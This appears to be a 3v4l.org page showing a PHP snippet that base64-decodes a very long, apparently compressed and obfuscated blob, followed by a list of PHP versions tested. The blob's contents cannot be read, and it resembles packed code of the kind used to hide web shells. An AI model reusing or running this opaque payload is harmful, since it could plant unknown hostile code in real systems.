3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php base64_decode('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');
based on tXQtU
Output for 5.6.0 - 5.6.30, hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.3.0rc3